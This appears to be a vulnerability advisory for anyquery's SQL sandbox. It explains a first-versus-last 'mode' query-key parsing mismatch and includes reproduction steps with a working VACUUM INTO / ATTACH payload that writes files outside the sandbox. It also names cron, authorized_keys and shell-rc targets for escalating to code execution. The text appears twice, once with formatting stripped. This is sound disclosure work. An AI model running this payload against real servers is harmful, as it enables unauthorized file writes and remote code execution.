Summary
Any client that can run SQL against a network-facing anyquery surface (the MySQL-protocol server, the gpt tunnel, or a network-exposed mcp) can write files to an arbitrary absolute path outside the sandbox — even under the default, fully locked-down policy where disk ATTACH / VACUUM INTO are supposed to be denied and --allow-dirs is empty.
The sandbox authorizes an ATTACH / VACUUM INTO target if it looks like an in-memory database, before it applies the disk-write restriction. It decides "in-memory" with Go's url.Query().Get("mode"), which returns the first value of a repeated query key, while SQLite (which actually opens the file) uses the last. The target file:/path?mode=memory&mode=rwc is therefore judged in-memory and allowed, but opened read-write-create on disk. This is the same first-vs-last / parser-differential class as the read-path file:-scheme bug fixed in 0.4.6, on the write path the fix left untouched — a bypass of the arbitrary-file-write protection added for CVE-2026-50006.
Root Cause
The sandbox added in 0.4.5 (27f84fc) gates ATTACH DATABASE and VACUUM … INTO through the SQLite authorizer, which calls AllowAttachPath(arg1):
module/restrictions.go L135-L150:
func (r *Restrictions) AllowAttachPath(filename string) bool {
...
if isInMemoryDB(filename) { // in-memory DBs are always allowed
return true // <-- returns BEFORE the disk-write gate
}
if !r.AllowAttach { // default sandbox: AllowAttach == false
return false
}
return r.checkLocalPath(attachPathToFile(filename)) == nil
}
The in-memory classifier — isInMemoryDB L155-L167 — reads the mode from the parsed file: URI:
if strings.EqualFold(u.Query().Get("mode"), "memory") { // Go: FIRST value of a repeated key
return true
}
net/url's Values.Get returns the first value of a repeated key, so for ?mode=memory&mode=rwc it yields memory → classified in-memory → AllowAttachPath returns true without ever reaching the !r.AllowAttach deny. SQLite's URI parser resolves the last mode (rwc = read-write-create) and opens the path on disk, creating the file at whatever absolute path the attacker chose — outside the (empty) --allow-dirs.
The existing hardening does not catch it: the 0.4.6 comment on isInMemoryDB notes it defends the substring case (file:/etc/cron.d/pwn?x=mode=memory), and the 0.4.6 read-path fix b3844d9 addressed the analogous mismatch for CheckSource reads — but neither closes the duplicate-mode write path. The project's own namespace/sandbox_test.go and sandbox_mysql_test.go pass unchanged.
Steps to Reproduce
Prerequisites
- Go 1.26+ (
go version)
- git
- A C compiler for CGo (Xcode CLT / gcc / clang)
Step 1: Build anyquery at the latest release
mkdir /tmp/anyquery-afw && cd /tmp/anyquery-afw
git clone --depth 1 --branch 0.4.6 https://github.com/julien040/anyquery repo
cd repo
make # builds ./main.out with the release tags (vtable fts5 sqlite_json sqlite_math_functions)
Step 2: Confirm the sandbox is active (baseline — a plain path is denied)
The default --sandbox policy has an empty allow-dir list, so any disk write must be refused.
mkdir -p /tmp/anyquery-afw/loot
./main.out query --sandbox -q "ATTACH DATABASE '/tmp/anyquery-afw/loot/baseline.db' AS b"
test -f /tmp/anyquery-afw/loot/baseline.db && echo "BASELINE_FILE_EXISTS" || echo "BASELINE_DENIED_NO_FILE"
Expected output:
not authorized
BASELINE_DENIED_NO_FILE
Step 3: Bypass — write an attacker-controlled file outside the sandbox
./main.out query --sandbox -q "CREATE TABLE payload(data TEXT); INSERT INTO payload VALUES('ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA'); VACUUM main INTO 'file:/tmp/anyquery-afw/loot/pwned.db?mode=memory&mode=rwc'"
test -f /tmp/anyquery-afw/loot/pwned.db && echo "FILE_CREATED_OUTSIDE_SANDBOX"
grep -ao 'ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA' /tmp/anyquery-afw/loot/pwned.db
Expected output:
Query executed successfully (0 row affected)
Query executed successfully (1 row affected)
FILE_CREATED_OUTSIDE_SANDBOX
ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA
The sandbox denied the plain path in Step 2 but wrote a real, attacker-seeded SQLite file to the same forbidden directory in Step 3. ATTACH DATABASE 'file:/tmp/anyquery-afw/loot/pwned2.db?mode=memory&mode=rwc' AS x likewise creates the file.
anyquery query --sandbox applies the identical module.Restrictions{} policy and installs the identical namespace authorizer that anyquery server / gpt enable by default; the same statements sent over the MySQL protocol to anyquery server (no auth by default) reproduce the write (the maintainer's sandbox_mysql_test.go drives ATTACH/VACUUM through that exact path).
Suggested Fix
Classify in-memory targets the way SQLite resolves them, not the way net/url does. Options:
- In
isInMemoryDB, reject any target whose mode key appears more than once (u.Query()["mode"] length > 1), and/or read the last mode value to match SQLite; also treat any explicit disk mode (ro/rw/rwc) as not-in-memory regardless of an earlier memory.
- Defense in depth: move the
isInMemoryDB allowance to after an unconditional check that the resolved path is either a pure in-memory form (:memory:, mode=memory with no conflicting mode) or contained in --allow-dirs; never let an in-memory classification alone authorize a file: URI that also carries a disk access mode.
Cleanup
Impact
Arbitrary file write as the anyquery process, from any client permitted to run SQL, defeating the default-on Server-Mode sandbox that exists precisely to prevent this (website/src/content/docs/docs/usage/sandbox.md calls ATTACH / VACUUM INTO "arbitrary-file-write primitives" and denies disk writes unless --allow-attach is set). The attacker chooses the absolute path and, via VACUUM INTO of a self-seeded main (Step 3), influences the file's contents. Writing to a location that is later executed or parsed — a shell rc, a cron.d/systemd unit, an authorized_keys, a config or plugin file anyquery itself loads — escalates to remote code execution, matching this advisory series' "arbitrary file write which could lead to RCE" framing (raising the score to Critical). No authentication is required in the default server configuration, and no victim interaction or misconfiguration is involved — the bug is a bypass of the hardening itself.
Summary
Any client that can run SQL against a network-facing anyquery surface (the MySQL-protocol
server, thegpttunnel, or a network-exposedmcp) can write files to an arbitrary absolute path outside the sandbox — even under the default, fully locked-down policy where diskATTACH/VACUUM INTOare supposed to be denied and--allow-dirsis empty.The sandbox authorizes an
ATTACH/VACUUM INTOtarget if it looks like an in-memory database, before it applies the disk-write restriction. It decides "in-memory" with Go'surl.Query().Get("mode"), which returns the first value of a repeated query key, while SQLite (which actually opens the file) uses the last. The targetfile:/path?mode=memory&mode=rwcis therefore judged in-memory and allowed, but opened read-write-create on disk. This is the same first-vs-last / parser-differential class as the read-pathfile:-scheme bug fixed in 0.4.6, on the write path the fix left untouched — a bypass of the arbitrary-file-write protection added for CVE-2026-50006.Root Cause
The sandbox added in 0.4.5 (
27f84fc) gatesATTACH DATABASEandVACUUM … INTOthrough the SQLite authorizer, which callsAllowAttachPath(arg1):module/restrictions.goL135-L150:The in-memory classifier —
isInMemoryDBL155-L167 — reads the mode from the parsedfile:URI:net/url'sValues.Getreturns the first value of a repeated key, so for?mode=memory&mode=rwcit yieldsmemory→ classified in-memory →AllowAttachPathreturnstruewithout ever reaching the!r.AllowAttachdeny. SQLite's URI parser resolves the lastmode(rwc= read-write-create) and opens the path on disk, creating the file at whatever absolute path the attacker chose — outside the (empty)--allow-dirs.The existing hardening does not catch it: the 0.4.6 comment on
isInMemoryDBnotes it defends the substring case (file:/etc/cron.d/pwn?x=mode=memory), and the 0.4.6 read-path fixb3844d9addressed the analogous mismatch forCheckSourcereads — but neither closes the duplicate-modewrite path. The project's ownnamespace/sandbox_test.goandsandbox_mysql_test.gopass unchanged.Steps to Reproduce
Prerequisites
go version)Step 1: Build anyquery at the latest release
Step 2: Confirm the sandbox is active (baseline — a plain path is denied)
The default
--sandboxpolicy has an empty allow-dir list, so any disk write must be refused.Expected output:
Step 3: Bypass — write an attacker-controlled file outside the sandbox
Expected output:
The sandbox denied the plain path in Step 2 but wrote a real, attacker-seeded SQLite file to the same forbidden directory in Step 3.
ATTACH DATABASE 'file:/tmp/anyquery-afw/loot/pwned2.db?mode=memory&mode=rwc' AS xlikewise creates the file.anyquery query --sandboxapplies the identicalmodule.Restrictions{}policy and installs the identicalnamespaceauthorizer thatanyquery server/gptenable by default; the same statements sent over the MySQL protocol toanyquery server(no auth by default) reproduce the write (the maintainer'ssandbox_mysql_test.godrives ATTACH/VACUUM through that exact path).Suggested Fix
Classify in-memory targets the way SQLite resolves them, not the way
net/urldoes. Options:isInMemoryDB, reject any target whosemodekey appears more than once (u.Query()["mode"]length > 1), and/or read the lastmodevalue to match SQLite; also treat any explicit disk mode (ro/rw/rwc) as not-in-memory regardless of an earliermemory.isInMemoryDBallowance to after an unconditional check that the resolved path is either a pure in-memory form (:memory:,mode=memorywith no conflicting mode) or contained in--allow-dirs; never let an in-memory classification alone authorize afile:URI that also carries a disk access mode.Cleanup
Impact
Arbitrary file write as the anyquery process, from any client permitted to run SQL, defeating the default-on Server-Mode sandbox that exists precisely to prevent this (
website/src/content/docs/docs/usage/sandbox.mdcallsATTACH/VACUUM INTO"arbitrary-file-write primitives" and denies disk writes unless--allow-attachis set). The attacker chooses the absolute path and, viaVACUUM INTOof a self-seededmain(Step 3), influences the file's contents. Writing to a location that is later executed or parsed — a shell rc, acron.d/systemd unit, anauthorized_keys, a config or plugin file anyquery itself loads — escalates to remote code execution, matching this advisory series' "arbitrary file write which could lead to RCE" framing (raising the score to Critical). No authentication is required in the default server configuration, and no victim interaction or misconfiguration is involved — the bug is a bypass of the hardening itself.